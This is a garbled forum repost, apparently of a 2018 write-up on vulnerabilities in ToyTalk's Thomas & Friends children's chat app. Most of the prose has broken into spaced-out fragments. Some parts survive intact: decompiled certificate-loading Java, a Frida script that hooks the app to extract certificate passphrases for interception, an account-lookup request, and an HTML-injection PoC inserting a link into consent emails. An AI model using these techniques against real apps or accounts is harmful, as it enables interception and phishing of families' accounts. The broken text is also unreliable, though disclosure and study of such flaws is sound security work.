[12257] 2018-01-19_挖洞经验看我如何发现“小火车托马斯”智能玩具APP聊天应用漏洞

文档创建者:s7ckTeam
浏览次数:14
最后更新:2025-01-18
2018-01-19_挖洞经验看我如何发现“小火车托马斯”智能玩具APP聊天应用漏洞   |   A P P c l o u d s   F r e e B u f   2 0 1 8 - 0 1 - 1 9 T o y T a l k A P P $ 1 7 5 0 便 便 A P P T o y T a l k A P P T o y T a l k 2 0 1 5 7   T h o m a s   &   F r i e n d s   T a l k   T o   Y o u A P P T h o m a s   t h e   T a n k   E n g i n e   8   西 S i r   T o p h a m   H a t t T o y T a l k   A P P T o y T a l k 使 A P P 便 T o y T a l k H e l l o   B a r b i e B a r b i e   H e l l o   D r e a m h o u s e   1   -   2 -   s u p p o r t @ t o y t a l k . c o m H T M L A P P   A P P 使 A P P A P P A P P A P P A P P A P P W E B p u b l i c   v o i d   s e t S s l C l i e n t C e r t i f i c a t e ( S t r i n g   f i l e n a m e ,   S t r i n g   p a s s p h r a s e )   {                 I n p u t S t r e a m   f i l e   =   n u l l ;                 t r y   {                         K e y S t o r e   s t o r e   =   K e y S t o r e . g e t I n s t a n c e ( " P K C S 1 2 " ) ;                         f i l e   =   t h i s . m C o n t e x t . g e t R e s o u r c e s ( ) . g e t A s s e t s ( ) . o p e n ( f i l e n a m e ) ;                         s t o r e . l o a d ( f i l e ,   p a s s p h r a s e . t o C h a r A r r a y ( ) ) ;                         t h i s . m C l i e n t C e r t i f i c a t e   =   K e y M a n a g e r F a c t o r y . g e t I n s t a n c e ( T r u s t M a n a g e r F a c t o r y . g e t D e f a u l t A l g o r i t h m ( ) ) ;                         t h i s . m C l i e n t C e r t i f i c a t e . i n i t ( s t o r e ,   n e w   c h a r [ 0 ] ) ;                 }   c a t c h   ( E x c e p t i o n   e )   {                         L o g . O M G ( e ) ;                   }   f i n a l l y   {                         U t i l s . c l o s e ( f i l e ) ;                 }         }
使 f r i d a   h o o k P y t h o n a p k M I T M t o y t a l k . 1 2 使 使 C e r t i f i c a t e   P i n n i n g a p k B u r p s u i t e A P P - 1   -   A P P 线 s p e a k   A P P P O S T W e b h t t p s : / / a s r . 2 . t o y t a l k . c o m / v 3 / a s r / 0 6 7 3 b c b 8 - 3 6 7 a - 4 4 b c - a e d 5 - 8 c 2 1 f b 7 0 8 6 a f / t h o m a s / 1 5 0 2 7 1 4 4 4 1 ? a c c o u n t = & p l a y _ s e s s i o n = & c l i e n t = c o m . t o y t a l k . t h o m a s & l o c a l e = e n _ G B & d e v i c e _ i d = & d e v i c e _ m o d e l = & o s = A n d r o i d & o s _ v e r s i o n = 5 . 1 & i n t e l l i g e n c e = 0 % 2 F 1 % 2 F c % 2 F 0 1 c d 4 9 6 9 4 7 2 7 b b c f 1 c 0 c e f d 7 a 4 a 2 4 f 2 e _ i n t e l l i g e n c e . t i z & r u l e s e t _ i d = r s _ b 9 2 d d 8 d 9 - c b a 9 - 4 a 7 6 - a 5 6 b - 5 1 f c 3 d 1 5 f 8 f 5 & r a t e = 1 6 0 0 0 I D I D I D G U I D 线 I D T o y T a l k s t r i n g s 访 h t t p s : / / a p i . t o y t a l k . c o m / v 3 / a c c o u n t / I D I D P O S T I D A P P I D I D I D I D 访 2 0 1 7 . 8 . 1 4   -   T o y T a l k p u b l i c   v o i d   s e t S s l C a C e r t i f i c a t e ( S t r i n g   f i l e n a m e ,   S t r i n g   p a s s p h r a s e )   {                 I n p u t S t r e a m   f i l e   =   n u l l ;                 t r y   {                         K e y S t o r e   s t o r e   =   K e y S t o r e . g e t I n s t a n c e ( " B K S " ) ;                         f i l e   =   t h i s . m C o n t e x t . g e t R e s o u r c e s ( ) . g e t A s s e t s ( ) . o p e n ( f i l e n a m e ) ;                         s t o r e . l o a d ( f i l e ,   p a s s p h r a s e . t o C h a r A r r a y ( ) ) ;                         t h i s . m C a C e r t i f i c a t e   =   T r u s t M a n a g e r F a c t o r y . g e t I n s t a n c e ( T r u s t M a n a g e r F a c t o r y . g e t D e f a u l t A l g o r i t h m ( ) ) ;                         t h i s . m C a C e r t i f i c a t e . i n i t ( s t o r e ) ;                 }   c a t c h   ( E x c e p t i o n   e )   {                         L o g . O M G ( e ) ;                 }   f i n a l l y   {                         U t i l s . c l o s e ( f i l e ) ;                 }         } i m p o r t   f r i d a i m p o r t   s y s d e f   o n _ m e s s a g e ( m e s s a g e ,   d a t a ) :         p r i n t   m e s s a g e d e v i c e   =   f r i d a . g e t _ d e v i c e _ m a n a g e r ( ) . e n u m e r a t e _ d e v i c e s ( ) [ - 1 ] p i d   =   d e v i c e . s p a w n ( [ " c o m . t o y t a l k . t h o m a s " ] ) p r i n t   ( p i d ) s e s s i o n   =   d e v i c e . a t t a c h ( p i d ) s s   =   ' ' '   J a v a . p e r f o r m ( f u n c t i o n   ( )   {         v a r   M y C l a s s   =   J a v a . u s e ( " c o m . t o y t a l k . l i b r a r y . H t t p R e q u e s t e r " ) ;         M y C l a s s . s e t S s l C a C e r t i f i c a t e . o v e r l o a d ( " j a v a . l a n g . S t r i n g " , " j a v a . l a n g . S t r i n g " ) . i m p l e m e n t a t i o n   =   f u n c t i o n ( a , b ) {                 s e n d ( a ) ;                 s e n d ( b ) ;                 r e t u r n   t h i s . s e t S s l C a C e r t i f i c a t e . o v e r l o a d ( " j a v a . l a n g . S t r i n g " , " j a v a . l a n g . S t r i n g " ) . c a l l ( t h i s , a , b ) ;         }         M y C l a s s . s e t S s l C l i e n t C e r t i f i c a t e . o v e r l o a d ( " j a v a . l a n g . S t r i n g " , " j a v a . l a n g . S t r i n g " ) . i m p l e m e n t a t i o n   =   f u n c t i o n ( a , b ) {                 s e n d ( a ) ;                 s e n d ( b ) ;                 r e t u r n   t h i s . s e t S s l C a C e r t i f i c a t e . o v e r l o a d ( " j a v a . l a n g . S t r i n g " , " j a v a . l a n g . S t r i n g " ) . c a l l ( t h i s , a , b ) ;         } } ) ' ' '         s c r i p t   =   s e s s i o n . c r e a t e _ s c r i p t ( s s ) s c r i p t . l o a d ( ) s c r i p t . o n ( ' m e s s a g e ' ,   o n _ m e s s a g e ) d e v i c e . r e s u m e ( p i d ) # s e s s i o n . d e t a c h ( ) s y s . s t d i n . r e a d ( )
2 0 1 7 . 1 1 . 1 6   -   c l o s e d 2 0 1 7 . 1 1 . 2 9   -   T o y T a l k r e o p e n 2 0 1 7 . 1 2 . 8   -   2 0 1 7 . 1 2 . 1 8   -   2   -   T o y T a l k H T M L 1 T o y T a l k 使 T h o m a s   A n d   Y o u A P P   1 I D H T M L I D A P P 1 I D I D I D P O S T P o C H T M L s u p p o r t @ t o y t a l k . c o m t o y t a l k 2 0 1 7 . 1 2 . 4   -   2 0 1 7 . 1 2 . 1 2   -   2 0 1 7 . 1 2 . 1 8   -   2 0 1 7 . 1 2 . 1 8   -   A P P * d i g i t a l i n t e r r u p t i o n f r e e b u f c l o u d s F r e e B u f . C O M G E T   / v 3 / a c c o u n t / < e m a i l   a d d r e s s >   H T T P / 1 . 1 U s e r - A g e n t :   D a l v i k / 2 . 1 . 0   ( L i n u x ;   U ;   A n d r o i d   7 . 1 . 1 ;   O N E P L U S   A 3 0 0 3   B u i l d / N M F 2 6 F ) H o s t :   a p i . 2 . t o y t a l k . c o m C o n n e c t i o n :   c l o s e P O S T   / v 3 / a c c o u n t / < a c c o u n t i d > / e m a i l / c o n s e n t ? d e v i c e _ i d = a s d f & d e v i c e _ n a m e = T E S T % 2 0 D E V I C E " < / b r > % 2 0 < a % 2 0 h r e f = " h t t p : / / g o o g l e . c o m " > c l i c k % 2 0 h e r e < / a > & a p p l i c a t i o n = T h o m a s + A n d + Y o u & a l w a y s   H T T P / 1 . 1 C o n t e n t - T y p e :   t e x t / p l a i n C o n t e n t - L e n g t h :   0 U s e r - A g e n t :   D a l v i k / 2 . 1 . 0   ( L i n u x ;   U ;   A n d r o i d   7 . 1 . 1 ;   O N E P L U S   A 3 0 0 3   B u i l d / N M F 2 6 F ) H o s t :   a p i . 2 . t o y t a l k . c o m C o n n e c t i o n :   c l o s e
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则